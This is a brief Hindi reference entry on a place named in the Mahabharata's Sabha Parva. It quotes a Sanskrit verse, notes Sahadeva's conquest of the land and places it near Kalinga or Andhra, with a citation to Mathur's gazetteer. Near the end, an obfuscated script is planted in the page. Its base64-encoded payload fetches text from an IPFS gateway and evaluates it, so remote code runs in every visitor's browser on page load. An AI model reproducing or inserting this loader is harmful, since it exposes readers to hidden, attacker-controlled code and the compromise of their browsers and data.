'पांड्यांश्च द्रविडांश्चैव सहितांश्चोण्ड्रकेरलै:,
आंध्रा स्तालव नांश्चैव कलिंगानुष्ट्रकर्णिकान्।'[1]
- सहदेव ने अपनी दिग्विजय यात्रा के प्रसंग में इस देश को विजित किया था।
- संदर्भ से जान पड़ता है कि यह स्थान कलिंग या दक्षिण उड़ीसा अथवा आंध्र के निकट स्थित होगा।
टीका टिप्पणी और संदर्भ
- ऐतिहासिक स्थानावली | पृष्ठ संख्या= 103| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
- ↑ सभा पर्व महाभारत 31, 71
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
छुपाई हुई श्रेणी: